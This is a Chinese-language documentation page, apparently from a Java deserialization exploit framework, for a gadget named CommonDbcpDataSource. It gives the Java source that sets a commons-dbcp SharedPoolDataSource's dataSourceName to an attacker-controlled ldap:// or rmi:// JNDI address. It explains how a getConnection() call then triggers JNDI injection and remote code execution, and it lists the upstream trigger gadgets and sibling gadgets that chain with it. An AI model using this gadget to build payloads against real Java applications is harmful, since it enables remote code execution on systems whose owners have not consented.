CommonDbcpDataSource.md

CommonDbcpDataSource JNDI（CommonDbcpDataSource）

• 类别：javanative　别名：—　优先级：—
• 作者：—
• 依赖：org.apache.commons:common-dbcp（org.apache.commons.dbcp.datasources.SharedPoolDataSource）

作用

构造 commons-dbcp（dbcp1）的 SharedPoolDataSource，把 dataSourceName 设为攻击者可控的 JNDI 地址。上层触发链调用 getConnection() 时，DBCP 用 dataSourceName 走 InitialContext.lookup，落地为 JNDI 注入 → RCE。是 CommonDbcp2DataSource 的 dbcp1 版本，链尾 sink（END）。

链接标签

• 入口 tags：
  • DataSourceChains —— 归属「DataSource 触发」族。
  • SpecialPublicMethod —— 靠特定公共方法 getConnection 被触发。
  • Getter —— 也可被「getter 触发」型上游命中（connection → getConnection）。
  • END —— 链终点。
• 衔接 nextTags：无（END）。
• excludes：无。

源码剖析

@GadgetTags(tags={"DataSourceChains", "SpecialPublicMethod", "Getter", "END"})
public class CommonDbcpDataSource implements Gadget {
    private final String getterMethodName   = "getConnection";
    private final String getterPropertyName = "connection";
    @Param(name="Jndi地址")
    public String jndiUrl = "ldap://127.0.0.1:1389/x";

    public Object getObject() {
        SharedPoolDataSource dataSource = new SharedPoolDataSource();  // org.apache.commons.dbcp.datasources.*
        dataSource.setDataSourceName(this.jndiUrl);
        return dataSource;
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        context.put(ContextTag.SUPER_CLASS_NAME_KEY,   DataSource.class);
        context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection");
        context.put(ContextTag.GETTER_PARAM_NAME_KEY,  "connection");
        return this.getObject();
    }
}

与 dbcp2 版逐行同构，区别仅在 import 的是 org.apache.commons.dbcp.datasources.SharedPoolDataSource（旧包名 dbcp，非 dbcp2）。dbcp1 的 SharedPoolDataSource 同样继承 InstanceKeyDataSource，getConnection() 经 getPooledConnectionAndInfo → getConnectionPoolDataSource 内用 new InitialContext().lookup(dataSourceName) 解析 dataSourceName，因此把 dataSourceName 设为外部 ldap:// 地址即可在 getConnection() 时触发 JNDI 注入。

invoke 同样不做包装，仅向 GadgetContext 写入三条触发契约（父类型 DataSource、SPECIAL_METHOD_NAME_KEY=getConnection、GETTER_PARAM_NAME_KEY=connection），供上游按 getter 或特定公共方法两种方式激活。

参数（@Param）

字段	名称	说明	默认	可选值
jndiUrl	Jndi地址	写入 dataSourceName，getConnection 时被 JNDI lookup 解析	ldap://127.0.0.1:1389/x	任意 ldap:///rmi:// 恶意地址

适用版本与原理要点

• 依赖旧版 commons-dbcp（org.apache.commons.dbcp.datasources.SharedPoolDataSource）。当目标用的是 dbcp1 而非 dbcp2 时选用本类。
• 触发点 getConnection() → InitialContext.lookup(dataSourceName)，利用成败取决于 JNDI 注入本身（受高版本 JDK 的 codebase 信任限制约束）。
• 本环只产出对象与写 context，真正调用由上游 getter/特定方法触发器完成。

所属预设链

自由构件，未直接出现在 51 条预设链中（usedInChains 为空）。

关联

• 上游：CommonsBeanutils1 等 Getter 型跳板，或 SpecialPublicMethod 型触发器。
• 同族（同目录 DBCP DataSource sink）：
  • CommonDbcpDataSource2（dbcp1 · PerUserPoolDataSource）
  • CommonDbcp2DataSource（dbcp2 · SharedPoolDataSource）
  • CommonDbcp2DataSource2（dbcp2 · PerUserPoolDataSource）